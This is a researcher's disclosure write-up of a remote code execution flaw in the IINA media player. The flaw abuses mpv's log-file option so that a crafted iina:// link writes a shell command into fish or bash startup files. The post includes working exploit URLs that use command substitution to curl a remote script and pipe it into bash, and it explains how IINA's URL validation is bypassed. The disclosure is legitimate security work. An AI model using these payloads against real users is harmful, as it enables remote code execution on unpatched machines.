An 8 year old vulnerability in the second most popular Swift open-source project.1

Last month, I discovered a trivially exploitable one-click remote code execution vulnerability in the media player that I’ve been using for the past 3 years. Today, I’m happy to say that the fix I’ve proposed after disclosing the issue to the maintainers has been included in the latest IINA release .
This post gives an overview of what caused the exploit and how it’s executed, a brief look at some of IINA’s internals, and the steps I took in finding the vulnerability.
It appears the issue has been present since at least 2018 (when IINA was still in beta), first introduced in a commit on September 1st, 2018 and affected all versions since the IINA 1.0.0 Beta4 release.
IINA’s mpv backend
To understand how the exploit works, we first need a high-level understanding of how IINA
plays video content. In short, IINA uses mpv
as its media player backend.
Whenever IINA needs to start playing a file or URL, it calls on
mpv’s loadfile
commmand, as
seen in the
PlayerCore.swift
class.
// Send load file command
info.justOpenedFile = true
info.state = .loading
mpv.command(.loadfile, args: [path], level: .verbose)
To control playback, IINA calls mpv’s C API
, which exposes the embedded equivalent to mpv’s CLI args through the
mpv_set_option_string
function.
This triggers things such as opening the video in full screen, setting an initial volume, adjusting subtitle delay etc. These are features you’d expect to see in any video player, and the way IINA handles this is fine. A parsing oversight around these mpv options is what enabled the exploit, as we’ll see next.
IINA playback URLs
There is one more background detail that should be covered: IINA’s custom URL scheme handler.
IINA has the option of being started from the browser by opening links
prefixed with iina://open.
This makes playing online media very convenient, as you can just click ‘Open in IINA’ when prompted by your browser
and the playback will start. 2
Alongside the actual media URL (which eventually ends up in mpv’s loadfile
),
additional mpv options
can be passed in the form of
URI query strings
(prefixed with mpv_). As mentioned before, these are equivalent to passing
arguments to mpv’s CLI.
iina://open?url=<media-url-here>&mpv_sub-speed=0.5
IINA’s playback URL handler unpacks these options and sends them off to
mpv_set_property_string
.
Up until v1.4.2
,
the parsed options were directly passed through without filtering, which allowed for
code execution through the
mpv_input-commands
option.
That vulnerability was
disclosed on May 19, 2026
and quickly patched in v1.4.3
.
However,
the fix
simply blocked off the offending input-commands option, without accounting
for other attacks that might be achieved through the remaining options:
// mpv options
for query in queries {
if query.name.hasPrefix("mpv_") {
let mpvOptionName = String(query.name.dropFirst(4))
// this guard is what the fix added
guard !mpvOptionName.contains("input-command") else {
Logger.log("mpv option \(mpvOptionName) rejected when parsing URL", level: .warning)
continue
}
guard let mpvOptionValue = query.value else { continue }
Logger.log("Setting \(mpvOptionName) to \(mpvOptionValue)")
player.mpv.setString(mpvOptionName, mpvOptionValue)
}
}
I had a feeling that there would be some other exploit waiting to be found, as all the other mpv options (there’s a lot of them!) were still being passed through without validation.
The exploit
While scrolling through the options list
(ignoring the countless harmless options), I came upon log-file
, which looked quite promising:
Opens the given path for writing, and print log messages to it. Existing files will be truncated. The log level is at least -v -v, but can be raised via –msg-level (the option cannot lower it below the forced minimum log level).
This option was particularly promising for two reasons: 1) I could arbitrarily control where the logs are written; 2) logs are written by truncation, which means existing file permissions are preserved.
I soon realised the logs could be pointed towards executable files, with
automatically sourced shell configs such as .bashrc, .zshrc, config.fish being obvious targets.
Of course, this would be pretty useless if I could not introduce some form of arbitrary input into the contents of the logfile.
Looking through mpv’s generated log files revealed that the URL/file being opened by mpv is always logged:
// ^ some other logs above
[ 7.031][v][cplayer] Set property: log-file="~/pentests/mpv-log2.log" -> 1
[ 7.031][v][bdmv/bluray] Opening /some/random/url/here
[ 7.031][v][file] Opening /some/random/url/here
[ 7.031][e][file] Cannot open file '/some/media/url/here': No such file or directory
[ 7.031][e][stream] Failed to open /some/random/url/here.
[ 7.031][v][cplayer] Opening failed or was aborted: /some/random/url/here
[ 7.031][v][cplayer] Running hook: main/on_load_fail
[ 7.031][v][cplayer] finished playback, loading failed (reason 4)
We can see that mpv attempts to open the given resource in a few different ways, logs the failures for each, then quits. Since the media URL can be defined in the IINA playback URL , arbitrary (potentially malicious) URL strings can make their way into the logfile.
Going through mpv’s logging code reveals some generic log message sanitization logic, which unfortunately doesn’t do much for URLs. 3
Therefore, a malicious URL containing a command substitution could technically be written to an (automatically) executable file, triggering arbitrary remote code execution.
I attempted a simple command substitution:
iina://open?url=$(/usr/bin/curl https://evil-script.sh %7C bash)&mpv_log-file=~/.config/fish/conf.d/something.fish
(with %7C being the URL encoding
of the pipe | character)
but was met with a URL is invalid error from IINA.
Looking at IINA’s code, I tracked it down to the openURLString
function inside
PlayerCore.swift
and saw that IINA has 2 ways of encoding URLs:
func openURLString(_ str: String) {
if str.first == "/" {
// the sanitization is skipped if it's assumed to be a local file
// however, bypassing this is trivial
openURL(URL(fileURLWithPath: str))
} else {
// (more code, see source for the full function)
guard let url = URL(string: pstr) else {
log("Cannot parse url for \(pstr)", level: .error)
return
}
openURL(url)
}
}
If the URL does not start with /, it falls into the 2nd branch, where it will be
parsed with the new
Foundation/URL
initializer:
(…) Now, URL automatically percent- and IDNA-encodes invalid characters to help create a valid URL.
However, prefixing the URL with / ensures the
deprecated initializer
is used,
which does not return nil on invalid URLs (like the one used in this example)
With this slight adjustment, I was able to go past the URL parsing error and have IINA attempt to start playback, which made mpv attempt opening the file and write the failure logs to my fish config.
The following fish “config” would then be automatically sourced the next time I’d start a new shell session (i.e. open a new terminal window/tab).
[ 7.574][v][cplayer] mpv v0.40.0 Copyright © 2000-2025 mpv/MPlayer/mplayer2 projects
[ 7.574][v][cplayer] built on Sep 26 2025 03:31:07
[ 7.574][v][cplayer] libplacebo version: v7.360.1
[ 7.574][v][cplayer] FFmpeg version: 8.0
[ 7.574][v][cplayer] FFmpeg library versions:
[ 7.574][v][cplayer] libavcodec 62.11.100
[ 7.574][v][cplayer] libavdevice 62.1.100
[ 7.574][v][cplayer] libavfilter 11.4.100
[ 7.574][v][cplayer] libavformat 62.3.100
[ 7.574][v][cplayer] libavutil 60.8.100
[ 7.574][v][cplayer] libswresample 6.1.100
[ 7.574][v][cplayer] libswscale 9.1.100
[ 7.574][v][cplayer] Configuration: -Dbuildtype=release -Dhtml-build=disabled -Djavascript=enabled -Dlibmpv=true -Dlua=luajit -Dlibarchive=enabled -Duchardet=enabled -Dlibbluray=enabled -Dcplayer=false -Dmanpage-build=disabled -Dmacos-touchbar=disabled -Dmacos-media-player=disabled -Dmacos-cocoa-cb=disabled -Dsysconfdir=/opt/homebrew/etc/mpv-iina -Ddatadir=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81/share/mpv-iina -Dprefix=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81 -Dlibdir=/opt/homebrew/Cellar/mpv-iina/HEAD-44ddf81/lib -Dwrap_mode=nofallback
[ 7.574][v][cplayer] List of enabled features: avfoundation bsd-fstatfs build-date cocoa coreaudio cplugins darwin ffmpeg gl gl-cocoa glob glob-posix gpl iconv javascript jpeg lcms2 libarchive libass libavdevice libbluray libdl libplacebo luajit mac-thread-name macos-10-15-4-features macos-11-3-features macos-11-features macos-12-features posix posix-shm rubberband rubberband-3 swift uchardet vector videotoolbox-gl videotoolbox-pl vk-khr-display vulkan zimg zimg-st428 zlib
[ 7.574][v][cplayer] Set property: log-file="~/.config/fish/conf.d/evil.fish" -> 1
[ 7.574][v][bdmv/bluray] Opening /$(/usr/bin/curl https://gist.githubusercontent.com/cartesian-plane/4d01735a82e7b62369273c66fc6499ed/raw/3f10332f86f8d579e4f475d2f878ba9b2d00202a/pwnd-poc.sh | bash)
When a new shell session starts, the command substitution will run, executing the remote code.
Although I use fish
, I’ve also tested this exploit for
bash and zsh. As command substitution has a relatively high expansion precedence
, the exploit works
identically in bash. For zsh, it fails to execute due to a parsing error caused by the
[ 7.574][v][cplayer] log metadata (there’s probably a way around this,
but I did not investigate further).
Of course, the unsuspecting user would not expect that his shell config has been replaced, making execution almost guaranteed.
Conclusion
After locally confirming the exploit, I contacted the maintainers on Telegram (they were quick to respond) and suggested the introduction of an allowlist for mpv options (which should prevent further attacks of this kind), which I’m glad to see has been included in the latest IINA 1.4.4 release , along with a security advisory on GitHub .
Below, you can find a video of the exploit in action.
Based on the following GitHub ranking , after excluding the Swift language itself, and 2 other repositories that are just curated lists of other projects. ↩︎
Of course, this assumes that the link you’re opening already is a
iina://openURL. The IINA browser extension makes this slightly more convenient, as it will automatically convert generic non-IINA playback URLs for you. ↩︎I’ve notified the mpv maintainers about this on their IRC chat ↩︎